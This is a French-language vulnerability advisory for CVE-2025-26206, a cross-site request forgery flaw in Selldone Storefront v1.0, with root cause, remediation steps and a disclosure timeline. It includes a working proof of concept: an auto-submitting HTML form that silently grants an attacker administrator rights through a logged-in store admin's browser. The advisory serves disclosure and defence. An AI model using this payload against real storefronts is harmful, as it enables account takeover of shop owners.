CVE-2025-26206 : Falsification de requête intersite (CSRF) dans Sell Done Storefront v.1.0

Une vulnérabilité critique de falsification de requête intersite (CSRF) dans Selldone Storefront v1.0 permet à des attaquants distants d'élever leurs privilèges en incitant des utilisateurs authentifiés à exécuter des requêtes modifiant l'état via la couche applicative du storefront. Découverte et divulguée de manière responsable par Sibhi Balamurugan (@xibhi).

---

Aperçu

Champ	Détail
ID CVE	CVE-2025-26206
Type	Falsification de requête intersite (CWE-352)
Produit	Selldone Storefront
Version affectée	v1.0
Composant	index.html / Initialisation de session
Impact	Élévation de privilèges / Prise de contrôle de la boutique
CVSS v3.1	9.0 (Critique) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Découvreur	Sibhi Balamurugan (@xibhi)

---

Cause racine

Selldone Storefront v1.0 ne vérifiait pas les jetons anti-CSRF sur les points de terminaison modifiant l'état, et les cookies d'authentification étaient stockés sans limites intersites strictes (SameSite omis).

Lorsqu'un propriétaire de boutique ou un administrateur authentifié visite une page web contrôlée par un attaquant, le navigateur joint automatiquement les cookies de session ambiants aux requêtes d'origine croisée, exécutant des opérations privilégiées sans le consentement de la victime.

Site de l'attaquant → Navigateur de la victime (détient la session) → API Selldone (cookie envoyé, aucune vérification CSRF) → Rôle modifié

---

Preuve de concept (PoC)

Un attaquant héberge une page malveillante contenant un formulaire à soumission automatique ciblant un point de terminaison privilégié :

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

Lorsqu'un administrateur authentifié visite la page, le navigateur soumet la requête avec ses identifiants, élevant le compte de l'attaquant.

---

Remédiation

1. Jetons anti-CSRF : Exiger un X-CSRF-TOKEN validé ou un jeton synchroniseur sur toutes les requêtes non-GET (POST, PUT, DELETE, PATCH).
2. Sécurité des cookies : Définir SameSite=Lax ou SameSite=Strict, ainsi que les attributs Secure et HttpOnly sur les cookies de session.
3. Validation de l'origine : Vérifier les en-têtes Origin et Referer sur tous les points de terminaison modifiant l'état.
4. Mise à jour : Mettre à niveau vers la dernière version de Selldone Storefront.

---

Chronologie de la divulgation

Date	Étape
Févr. 2025	Découverte et signalée au fournisseur.
24 févr. 2025	Publication de l'avis initial.
03 mars 2025	Publication de l'entrée NVD.
04 mars 2025	Notation NVD à CVSS 9.0 (Critique).

---

Références et crédits

• Entrée NVD (CVE-2025-26206)
• Enregistrement MITRE
• Dépôt Selldone Storefront
• Aide-mémoire OWASP sur la prévention des CSRF

Découvreur : Sibhi Balamurugan (@xibhi)

---

Licence

Ce projet est sous licence MIT License.